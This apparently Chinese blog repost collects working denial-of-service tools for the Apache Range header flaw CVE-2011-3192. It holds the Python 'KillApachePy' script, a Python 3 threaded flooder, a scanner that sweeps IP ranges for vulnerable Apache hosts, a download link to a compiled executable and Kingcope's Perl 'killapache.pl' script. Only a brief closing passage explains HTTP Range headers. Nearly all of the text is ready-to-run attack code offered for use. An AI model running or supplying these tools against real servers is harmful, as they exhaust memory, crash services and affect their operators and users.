关于绿盟的介绍:
http://www.nsfocus.net/index.php?act=alert&do=view&aid=120
py2版本
#!/usr/bin/env python
import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
NAME = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION = "0.1d"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"
SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached)
RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload
USER_AGENT = "KillApachePy (%s)" % VERSION
def attack(url, user_agent=None, method='GET', proxy=None):
url = ("http://%s" % url) if '://' not in url else url
host = urlparse.urlparse(url).netloc
if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
print "(x) Invalid proxy address used"
exit(-1)
proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)
class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
def set_method(self, method):
self.method = method.upper()
def get_method(self):
return getattr(self, 'method', urllib2.Request.get_method(self))
def _send(check=False): #Send the vulnerable request to the target
if check:
print "(i) Checking target for vulnerability..."
payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
try:
headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
req = _MethodRequest(url, None, headers)
req.set_method(method)
response = urllib2.urlopen(req)
if check:
return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
except urllib2.URLError, msg:
if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
pass
elif 'timed out' in str(msg):
print "\r(i) Server seems to be choked ('%s')" % msg
else:
print "(x) Connection error ('%s')" % msg
if check or 'Forbidden' in str(msg):
os._exit(-1)
except Exception, msg:
raise
try:
if not _send(check=True):
print "(x) Target does not seem to be vulnerable"
else:
print "(o) Target seems to be vulnerable\n"
quit = False
while not quit:
threads = []
print "(i) Creating new threads..."
try:
while True:
thread = threading.Thread(target=_send)
thread.start()
threads.append(thread)
except KeyboardInterrupt:
quit = True
raise
except Exception, msg:
if 'new thread' in str(msg):
print "(i) Maximum number of new threads created (%d)" % len(threads)
else:
print "(x) Exception occured ('%s')" % msg
finally:
if not quit:
print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
time.sleep(SLEEP_TIME)
print
except KeyboardInterrupt:
print "\r(x) Ctrl-C was pressed"
os._exit(1)
if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
options, _ = parser.parse_args()
if options.url:
result = attack(options.url, options.agent, options.method, options.proxy)
else:
parser.print_help()
py3版本:
import threading,argparse,sys,socket,re
parser = argparse.ArgumentParser(description='Http range Dos tools,by Yatere.')
parser.add_argument('-t',help="Trager's IP or domain")
parser.add_argument('-r',default=256,type=int,help="Trager's Threading Number")
parser.add_argument('-f',default=False,type=bool,help="force dos")
args = parser.parse_args()
if args.t ==None:
parser.print_help()
sys.exit(1)
domain=args.t
threadno=args.r
force=args.f
port=80
p=''
for i in range(1300):
p=p+',5-'+str(i)
had='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-'+p+'\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
had1='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
class yk(threading.Thread):
def __init__(self,domain,port=80):
super(yk,self).__init__()
self.domain=domain
self.port=port
self.start()
def run(self):
while True:
try:
a=socket.socket()
a.connect((self.domain,self.port))
a.send(had.encode())
a.close()
print('HEADing\n')
except Exception as a:
print (a)
pass
a=socket.socket()
a.connect((domain,port))
a.send(had1.encode())
s=a.recv(1024).decode()
if not force:
if not s.find('bytes 0-')>0:
print('目标服务器貌似不存在本漏洞')
sys.exit(1)
for i in range(threadno):
yk(domain,port)
扫描脚本。
import threading,sys,socket,iptools,queue
ipstart=sys.argv[1]
ipstop=sys.argv[2]
def had(domain):
return 'HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
class yk(threading.Thread):
def __init__(self,que,port=80):
super(yk,self).__init__()
self.que=que
self.port=port
self.start()
def run(self):
while True:
if self.que.empty():
break
ip=self.que.get()
try:
a=socket.socket()
a.connect((ip,self.port))
a.send(had(ip).encode())
s=a.recv(1024).decode()
if s.find('bytes 0-')>1 and s.find('pache')>1 :
print(ip,'存在Apache Range Dos漏洞')
a.close()
except Exception as a:
pass
self.que.task_done()
que=queue.Queue()
for i in iptools.IpRange((ipstart,ipstop)):
que.put(i)
for i in range(10):
yk(que)
本代码的可执行程序下载地址:
http://howfile.com/file/2611e8a1/f91052a3/
以下是国外的介绍:
http://blog.spiderlabs.com/2011/08/mitigation-of-apache-range-header-dos-attack.html
国外提供的攻击脚本
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
此外pediy上有个帖子总结不错
http://bbs.pediy.com/showthread.php?t=146952
------------------
假设你要开发一个多线程下载工具,你会自然的想到把文件分割成多个部分,比如4个部分,然后创建4个线程,每个线程负责下载一个部分,如果文件大小为 403个byte,那么你的分割方式可以为:0-99 (前100个字节),100-199(第二个100字节),200-299(第三个100字节),300-402(最后103个字节)。
分割完成,每个线程都明白自己的任务,比如线程3的任务是负责下载200-299这部分文件,现在的问题是:线程3发送一个什么样的请求报文,才能够保证只请求文件的200-299字节,而不会干扰其他线程的任务。这时,我们可以使用HTTP1.1的Range头。Range头域可以请求实体的一个或者多个子范围,Range的值为0表示第一个字节,也就是Range计算字节数是从0开始的:
表示头500个字节:Range: bytes=0-499
表示第二个500字节:Range: bytes=500-999
表示最后500个字节:Range: bytes=-500
表示500字节以后的范围:Range: bytes=500-
第一个和最后一个字节:Range: bytes=0-0,-1
同时指定几个范围:Range: bytes=500-600,601-999
所以,线程3发送的请求报文必须有这一行:
Range: bytes=200-299
服务器接收到线程3的请求报文,发现这是一个带有Range头的GET请求,如果一切正常,服务器的响应报文会有下面这行:
HTTP/1.1 206 OK
表示处理请求成功,响应报文还有这一行
Content-Range: bytes 200-299/403
斜杠后面的403表示文件的大小,通常Content-Range的用法为:
. The first 500 bytes:
Content-Range: bytes 0-499/1234
. The second 500 bytes:
Content-Range: bytes 500-999/1234
. All except for the first 500 bytes:
Content-Range: bytes 500-1233/1234
. The last 500 bytes:
Content-Range: bytes 734-1233/1234
------------------